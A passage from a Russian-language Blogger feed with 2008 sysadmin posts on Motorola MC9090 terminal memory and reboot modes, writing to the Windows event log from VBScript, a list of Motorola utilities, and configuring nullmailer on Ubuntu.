&lt;p&gt;Директория &lt;tt&gt;/Cache Disk&lt;/tt&gt; &amp;mdash; энергозависимая память, её содержимое не сохраняется при перезагрузках терминала. Но она во много раз быстрее остальных типов памяти. Как видно из названия директории монтирования, основное предназначение &amp;mdash; для разного рода кэшей.&lt;/p&gt;

&lt;p&gt;Директория &lt;tt&gt;/Application&lt;/tt&gt; &amp;mdash; сверхпостоянная память, которая переживает даже сброс терминала к заводским настройкам. Примерный объем 20 Мб. Здесь можно хранить, например, дистрибутивы программ или какие-либо настройки реестра, которые могут понадобится после процедуры Clean Boot (см. ниже).&lt;/p&gt;

&lt;p&gt;Директория &lt;tt&gt;/SD Card&lt;/tt&gt; &amp;mdash; дополнительная внешняя заменяемая флеш-карта.&lt;/p&gt;

&lt;p&gt;Прочие директории &amp;mdash; постоянная память, как в обычных КПК.&lt;/p&gt;


&lt;h3&gt;4 вида перезагрузки&lt;/h3&gt;

&lt;p&gt;Warm Boot &amp;mdash; простая перезагрузка терминала.&lt;/p&gt;

&lt;p&gt;Cold Boot &amp;mdash; по документации это перезагрузка терминала с очисткой каких-то внутренних таймеров, т.е. вроде бы почти не отличается от Warm Boot. На практике же иногда терминал приходит в такое состояние, что перестает адекватно себя вести и Warm Boot просто не выполняется. Cold Boot же не подводил ещё не разу, однако его необходимо проводить только в безопасной зоне, т.к. необходимо извлекать основной аккумулятор.&lt;/p&gt;

&lt;p&gt;Clean Boot &amp;mdash; сброс операционной системы терминала к заводским настройкам. Выполняется с помощью специального программного обеспечения. Директория &lt;tt&gt;/Application&lt;/tt&gt; сохраняет своё содержимое. Аналогично переустановке операционной системы.&lt;/p&gt;

&lt;p&gt;Clean Boot с очисткой директории &lt;tt&gt;/Application&lt;/tt&gt; &amp;mdash; полный сброс состояния терминала к заводским настройкам. Никакие изменения сделанные пользователем не сохраняются. Аналогично форматированию всех винтов и переустановке операционной системы.&lt;/p&gt;

&lt;h3&gt;2 аккамулятора&lt;/h3&gt;

&lt;p&gt;В дополнение к основному аккумумятору терминал комплектуется дополнительной резерной батареей. Этим объясняется тот забавный факт, что иногда терминал показывает сообщения при извлеченном основном аккумяторе. В документации утверждается что резевная батарея может поддерживать терминал ещё как минимум 72 часа после разрядки основного аккамулятора.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-5929326766495546682?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/5929326766495546682/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=5929326766495546682' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5929326766495546682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/5929326766495546682'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/11/motorola-mc9090.html' title='Программно-аппаратные особенности терминалов Motorola MC9090'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-2501424637328426343</id><published>2008-10-16T16:07:00.009+11:00</published><updated>2008-10-27T16:03:48.688+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows scripting'/><title type='text'>Windows scripting: ведение журнала работы</title><content type='html'>&lt;p&gt;Продолжим изучение скриптов для автоматизации системного администрирования windows. В прошлый раз мы рассмотрели &lt;a href="/2008/08/windows-scripting.html"&gt;отправку электронной почты из vbscript&lt;/a&gt;. Сейчас же займемся ведением журнала работы скрипта.&lt;/p&gt;

&lt;p&gt;Известно, что в unix-системах для журналирования используется протокол syslog (описан в &lt;a href="http://tools.ietf.org/html/rfc3164"&gt;rfc&amp;nbsp;3164&lt;/a&gt;). Однако, как обычно это делается в компании microsoft, в windows сделали похожее, но своё решение&amp;nbsp;&amp;mdash; службу &amp;laquo;&lt;a href="http://msdn.microsoft.com/en-us/library/aa385780(VS.85).aspx"&gt;Event&amp;nbsp;Log&lt;/a&gt;&amp;raquo;. Ну да и бог с ними, хорошо что вообще что-то сделали.&lt;/p&gt;

&lt;p&gt;Рассмотрим, как отправить сообщение в журнал событий из vbscript. Для этого необходимо использовать &lt;a href="http://msdn.microsoft.com/en-us/library/b4ce6by3(VS.85).aspx"&gt;метод LogEvent объекта WScript.Shell&lt;/a&gt;. Полный синтаксис можете посмотреть по приведенной ссылке сами, а мы рассмотрим пример вызова:&lt;/p&gt;

&lt;pre&gt;SET shell = CreateObject("WScript.Shell")
shell.LogEvent 4, "Hello world"&lt;/pre&gt;

&lt;p&gt;Все очень просто. Теперь давайте сохраним эти строчки в файле &lt;tt&gt;C:\scripts\event_log.vbs&lt;/tt&gt; и запустим скрипт, например с помощью двойного клика по нему в проводнике. Далее, для посмотра сообщений используется неудобная программа &amp;laquo;Event&amp;nbsp;Viewer&amp;raquo;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Для запуска выполним &amp;laquo;Start &amp;gt; Run...&amp;raquo; и введем команду &amp;laquo;eventvwr.msc&amp;raquo;:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_cy3rHHEVGOo/SPbNpodSl3I/AAAAAAAAAKw/ptidDrt0frA/s1600-h/03_run_event_viewer_msc.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_cy3rHHEVGOo/SPbNpodSl3I/AAAAAAAAAKw/ptidDrt0frA/s400/03_run_event_viewer_msc.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5257615730120234866" /&gt;&lt;/a&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;В левой части открывшегося окна выберем ветку &amp;laquo;Event Viewer (Local) &amp;gt; Application&amp;raquo;:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_cy3rHHEVGOo/SPbOBPUpFsI/AAAAAAAAAK4/9DUPHc2ucnY/s1600-h/05_event_viewer_list_wsh.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_cy3rHHEVGOo/SPbOBPUpFsI/AAAAAAAAAK4/9DUPHc2ucnY/s400/05_event_viewer_list_wsh.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5257616135689934530" /&gt;&lt;/a&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;В правой части окна появится список событий. Созданное нами событие будет иметь тип &amp;laquo;Information&amp;raquo; и источник &amp;laquo;WSH&amp;raquo; и скорее всего будет первым в списке. Выполним на нём двойной клик и увидим диалоговое окно &amp;laquo;Event Properties&amp;raquo; с полной информацией о событии:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_cy3rHHEVGOo/SPbOWuGEnSI/AAAAAAAAALA/Wk5X6Flo_eM/s1600-h/06_event_viewer_view_wsh.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_cy3rHHEVGOo/SPbOWuGEnSI/AAAAAAAAALA/Wk5X6Flo_eM/s400/06_event_viewer_view_wsh.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5257616504727575842" /&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Теперь о грустном. В жертву простоты вызова из vbscript были принесены почти все возможности службы журналирования, даже те, жертвовать которыми не надо было. Самый главный недостаток&amp;nbsp;&amp;mdash; невозможно указать источник сообщения, у всех скриптов он всегда будет одинаковым и абстракным значением &amp;laquo;WSH&amp;raquo;. Такое ощущение, что разработчики Windows Script Host даже представить себе не могли, что может потребоваться запускать более одного скрипта на компьютере.&lt;/p&gt;

&lt;p&gt;Немного исправить ситуацию можно если в тело сообщения всегда помещать имя запущенного скрипта. Это не сильно поможет при поиске событий, но хотя бы можно будет знать какой именно скрипт создал событие. Изменим наш пример:&lt;/p&gt;

&lt;pre&gt;SET shell = CreateObject("WScript.Shell")
shell.LogEvent 4,  WScript.ScriptFullName &amp; " script start"&lt;/pre&gt;

&lt;p&gt;Вот событие полученное в результате отработки скрипта:&lt;/p&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_cy3rHHEVGOo/SPbOnZh9YvI/AAAAAAAAALI/qsg2K1LNLqE/s1600-h/07_event_viewer_view_with_scriptname.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_cy3rHHEVGOo/SPbOnZh9YvI/AAAAAAAAALI/qsg2K1LNLqE/s400/07_event_viewer_view_with_scriptname.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5257616791265174258" /&gt;&lt;/a&gt;


&lt;p&gt;Замечание. Судя по содержимому документа &amp;laquo;&lt;a href="http://support.microsoft.com/kb/315410"&gt;How To Use the Event Logging Utility (Logevent.exe) to Create and Log Custom Events in Event Viewer in Windows 2000&lt;/a&gt;&amp;raquo; якобы, в наборе утилит &amp;laquo;Windows 2000 Resource Kit&amp;raquo; должна быть утилита &lt;tt&gt;logevent.exe&lt;/tt&gt; позволяющая более гибко создавать записи в журнале событий из командной строки (аналог linux-утилиты logger). Но во-первых, никакого &amp;laquo;Windows 2000 Resource Kit&amp;raquo; на сайте &lt;a href="http://www.microsoft.com/downloads/"&gt;http://www.microsoft.com/downloads/&lt;/a&gt; обнаружить не удалось. Во-вторых, в присутствующем там &amp;laquo;&lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&amp;DisplayLang=en"&gt;Windows Server 2003 Resource Kit&lt;/a&gt;&amp;raquo; есть куча всякого говна, но этой утилиты уже нет. Можете конечно поискать (и даже найти) эти утилиты в интернете, но у меня что-то нет доверия полученным не из официальных источников программам.&lt;/p&gt;

&lt;p&gt;Итак, если отсылка электронной почты из скриптов сделана на твердую четверку, то работа с журналом событий тянет только на два с плюсом. Незачет.&lt;/p&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Как мне подсказывают в комментариях для создания записей в журнале событий можно использовать утилиту &lt;tt&gt;&lt;a href="http://support.microsoft.com/kb/324145"&gt;eventcreate.exe&lt;/a&gt;&lt;/tt&gt;, которая по умолчанию включена в состав операционной системы. Ниже приведен пример процедуры &lt;tt&gt;eventCreate&lt;/tt&gt;, которую можно копировать в свои сценарии:&lt;/p&gt;

&lt;pre&gt;Set shell = CreateObject("WScript.Shell")
eventCreate "information", "Hello world"

' eventType - одно из success, error, warning или information
Sub eventCreate(eventType, message)
  logName = "application"
  source  = WScript.ScriptName
  eventID = 999

  Set re = New RegExp
  re.Pattern = """"
  re.Global = true
  message = re.Replace(message, "\""")

  command = "eventcreate "       &amp;amp; _
            "/l  "   &amp;amp; logName   &amp;amp; " " &amp;amp; _
            "/so "   &amp;amp; source    &amp;amp; " " &amp;amp; _
            "/id "   &amp;amp; eventID   &amp;amp; " " &amp;amp; _
            "/t  "   &amp;amp; eventType &amp;amp; " " &amp;amp; _
            "/d  """ &amp;amp; message   &amp;amp; """"

  resultBad = shell.Run(command, 0, true)

  if resultBad Then
    error = source &amp;amp; " :" &amp;amp; VbCrLf &amp;amp; _
            "error execute command" &amp;amp; VbCrLf &amp;amp; _
            command &amp;amp; VbCrLf &amp;amp; _
            "return code " &amp;amp; resultBad
    shell.LogEvent 1, error
  End If
End Sub&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-2501424637328426343?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/2501424637328426343/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=2501424637328426343' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2501424637328426343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2501424637328426343'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/10/windows-scripting.html' title='Windows scripting: ведение журнала работы'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_cy3rHHEVGOo/SPbNpodSl3I/AAAAAAAAAKw/ptidDrt0frA/s72-c/03_run_event_viewer_msc.PNG' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-7585231900845985033</id><published>2008-10-10T13:46:00.008+11:00</published><updated>2008-10-10T13:58:13.477+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mc9090'/><title type='text'>Программы от Motorola для терминалов MC9090</title><content type='html'>&lt;p&gt;Так уж получилось, что мне пришлось заниматься разработкой для взрывозащищенного терминала &amp;laquo;&lt;a href="http://www.bartec.de/homepage/eng/60_suche/10_volltext/search.asp?ProdID=523"&gt;Bartec MC9090&lt;sup&gt;ex&lt;/sup&gt;&lt;/a&gt;&amp;raquo;. Он создан на базе промышленного терминала &amp;laquo;Motorola MC9090&amp;raquo; с операционной системой &amp;laquo;Windows Mobile 5&amp;raquo;.&lt;/p&gt;

&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_cy3rHHEVGOo/SO7Co4x6Q2I/AAAAAAAAAKg/CxjxLlPmOJE/s1600-h/bartek_mc9090.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_cy3rHHEVGOo/SO7Co4x6Q2I/AAAAAAAAAKg/CxjxLlPmOJE/s400/bartek_mc9090.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5255351822880228194" /&gt;&lt;/a&gt;

&lt;p&gt;При разработке и внедрении использовалось дополнительное программное обеспечение, свободно предоставляемое компанией Motorola. Особенность данного программного обеспечения в том, что оно запускается только на устройствах компании Motorola. Соответсвенно запустить его на других windows mobile КПК или даже на эмуляторе КПК не удастся. Зато бесплатно. Несмотря на то, что я делал подборку для MC9090, многие программы будут работать на других устройствах Motorola.&lt;/p&gt;


&lt;h2&gt;Используемое программное обеспечение&lt;/h2&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;a href="http://support.symbol.com/support/search.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=909XCLEANERS&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;909XCLEANERS&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Выполнение процедуры Clean Boot (сброс к заводским настройкам), как с возможностью очистки директории \Application так и без оной.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=AppCenter&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;AppCenter&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Ограничение пользователя только набором разрешенных для запуска приложений. Можно запретить доступ к стартовому меню windows, bluetooth и пр. Для снятия ограничений требуется пароль администратора. Программу надо ставить в автозагрузку.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=AppLauncher&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;AppLauncher&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Удобное меню для запуска приложений. Можно делать подменю. Можно сменить картинку-логотип сверху. Настройка полностью через реестр windows.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=RemCapture&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;Remote Capture&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Создание разностных архивов (реестр и файловая система) после установки и настройки каких-либо программ на терминале. Может использоваться для резервного копирования или для тиражирования изменений на несколько устройств.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=StartUpCtl&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;StartUp Control&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Гибкое управление процессом автозагрузки после Cold Boot (перезагрузка) и Clean Boot (переустановка без очистки директории \Application). Скрипты автозагрузки имеют возможность устанавливать дистрибутивы программ, манипулировать файловой системой, реестром, задавать строгую последовательность запуска программ и паузы между запусками.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=SMDK&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;Symbol Mobility Developer Kit&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Набор библиотек для языков и платформ: C, JAVA, .NET. Позволяют в программах использовать аппаратные особенности терминалов Motorola, например работать со встроенным сканером штрих-кодов.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;
&lt;/dl&gt;


&lt;h2&gt;Неиспользуемое программное обеспечение&lt;/h2&gt;

&lt;p&gt;Программное обеспечение, которое я не использовал, но может быть интересным.&lt;/p&gt;

&lt;dl&gt;
&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=iDockIt&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;iDockIt&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Запуск каких-либо программ на терминале после его соединения с настольным компьютером через usb, serial и пр. Может сам устанавливать соединение по сети и запускать программы.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=SCM&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;Symbol Configuration Manager&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Настройка терминала с настольного компьютера. Возможность сохранять резервные копии настроек.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=CtlpanelWM&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;CtlpanelWM&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Добавляет в панель управления windows апплеты для настройки аппаратных особенностей терминалов Motorola.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=DataWedge&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;DataWedge&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Позволяет работать со сканером штрих-кодов (RFID ридером и пр.) приложениям в которые изначально такая возможность не закладывалась и они ожидают клавиатурного ввода данных.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=PocketBrowser&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;PocketBrowser&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Непонятная серая хрень.&lt;br&gt;&lt;br&gt;&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://support.symbol.com/support/searchEntry.do?languages=&amp;rwTarget=%2FrfPlayerWidget.do&amp;searchMode=GuidedSearch&amp;searchString=Keypad+Mapping+Kit&amp;productLine=SG_MOBILECOMPUTERS_1_1&amp;product=SG_MC9090WM_1_2&amp;document=DT_SOFTWARE_1_1&amp;cmd=search&amp;productFamily=&amp;contextType=gs
"&gt;Keypad Mapping Table Kit&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Переназначение кодов клавиш&lt;br&gt;&lt;br&gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-7585231900845985033?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/7585231900845985033/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=7585231900845985033' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/7585231900845985033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/7585231900845985033'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2008/10/motorola-mc9090.html' title='Программы от Motorola для терминалов MC9090'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_cy3rHHEVGOo/SO7Co4x6Q2I/AAAAAAAAAKg/CxjxLlPmOJE/s72-c/bartek_mc9090.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-5414274768301112278</id><published>2008-09-29T16:37:00.007+11:00</published><updated>2008-09-29T17:00:34.328+11:00</updated><title type='text'>Nullmailer — пересылка локальной почты на почтовый шлюз</title><content type='html'>&lt;p&gt;Часто в организации имеется почтовый шлюз на базе одного этих почтовых серверов (MTA):&lt;br&gt;
&lt;tt&gt;courier&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;exim&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;postfix&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;qmail&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;sendmail&lt;/tt&gt;&lt;/p&gt;

&lt;p&gt;Предположим что у нас имеется ещё один linux-сервер, с которого мы хотим отправлять почту. Конечно, можно использовать любую из вышеперечисленных программ, соответствующим образом настроенную для пересылки почты основному шлюзу. Но так лучше не делать, т.к. это большие, тяжелые и универсальные почтовые сервера, занимают много места в оперативной памяти, работают медлено и их труднее настроить. Для решения этой задачи существует класс программ, называемых relay-only MTA. Отличительные особенности этих MTA:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Не умеют получать почту по SMTP. Исходящая почта формируется только локально через интерфейс командной строки утилиты sendmail.&lt;/li&gt;
&lt;li&gt;Доставка почты осуществляется заранее заданному удаленному SMTP серверу.&lt;/li&gt;
&lt;li&gt;Как правило, не умеют больше ничего. Вообще ничего из того, что вы можете вспомнить из функций больших MTA. За счет этого работают максимально быстро.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Представители этого класса программ:&lt;br&gt;
&lt;tt&gt;esmtp&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;masqmail&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;nullmailer&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;nbsmtp&lt;/tt&gt;&lt;br&gt;
&lt;tt&gt;ssmtp&lt;/tt&gt;&lt;/p&gt;

&lt;p&gt;Я использую &lt;a href="http://untroubled.org/nullmailer/"&gt;nullmailer&lt;/a&gt;, т.к.:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Nullmailer очень прост в настройке. Фактически вся конфигурация, это несколько текстовых файлов в каждый из которых нужно поместить одну строчку.&lt;/li&gt;
&lt;li&gt;Nullmailer не настолько примитивен, чтобы после получения почты, сразу в этом же процессе программы пытаться доставить почту удаленному SMTP серверу. Вместо этого он помещает письмо в локальную очередь доставки, что даёт нам сразу два преимущества. Первое, доставка почты идет быстрее, т.к. управление возвращается вызвавшей отправку почты программе. Дальнейшая обработка почты идет из отдельного процесса-демона nullmailer. Второе, при проблемах в сети или на почтовом шлюзе почта никогда не будет потеряна и будет доставлена сразу после устанения неполадок.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Покажем, как работать с nullmailer, на примере операционной системы Ubuntu. Допустим, мы хотим отправлять почту с машины &lt;tt&gt;webserv.localnet&lt;/tt&gt; через почтовый шлюз &lt;tt&gt;mail.localnet&lt;/tt&gt;. Соответсвенно все действия выполняются на машине webserv.&lt;/p&gt;

&lt;p&gt;Установка:&lt;/p&gt;
&lt;pre&gt;xeim@webserv:~$ sudo aptitude install nullmailer&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;Минимальная настройка:&lt;/p&gt;
&lt;p&gt;В файл &lt;tt&gt;/etc/nullmailer/remotes&lt;/tt&gt; помещаем адрес почтового шлюза&amp;nbsp;&amp;mdash;&amp;nbsp;&amp;laquo;&lt;tt&gt;mail.localnet&amp;nbsp;smtp&lt;/tt&gt;&amp;raquo;.&lt;/p&gt;
&lt;p&gt;В файл &lt;tt&gt;/etc/nullmailer/adminaddr&lt;/tt&gt; помещаем адрес системного администратора&amp;nbsp;&amp;mdash;&amp;nbsp;&amp;laquo;&lt;tt&gt;admin@mycompany.ru&lt;/tt&gt;&amp;raquo; для получения локальной почты, например для &lt;tt&gt;root@localhost&lt;/tt&gt; или &lt;tt&gt;user@webserv.localnet&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;Запуск:&lt;/p&gt;
&lt;pre&gt;xeim@webserv:~$ sudo /etc/init.d/nullmailer start&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;Пример отправки почты:&lt;/p&gt;
&lt;pre&gt;xeim@webserv:~$ sendmail -f somebody@mycompany.ru
To: anybody@mail.ru
Subject: test

test&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;


&lt;p&gt;Журнал работы в &lt;tt&gt;/var/log/mail.log&lt;/tt&gt;:&lt;/p&gt;
&lt;pre&gt;Sep 29 15:36:58 webserv nullmailer[14760]: Trigger pulled.
Sep 29 15:36:58 webserv nullmailer[14760]: Rescanning queue.
Sep 29 15:36:58 webserv nullmailer[14760]: Starting delivery, 1 message(s) in queue.
Sep 29 15:36:58 webserv nullmailer[14760]: Starting delivery: protocol: smtp host: mail.localnet file: 1222663016.14762
Sep 29 15:37:04 webserv nullmailer[14760]: smtp: Succeeded: 250 ok 1222663024 qp 2803
Sep 29 15:37:04 webserv nullmailer[14760]: Sent file.
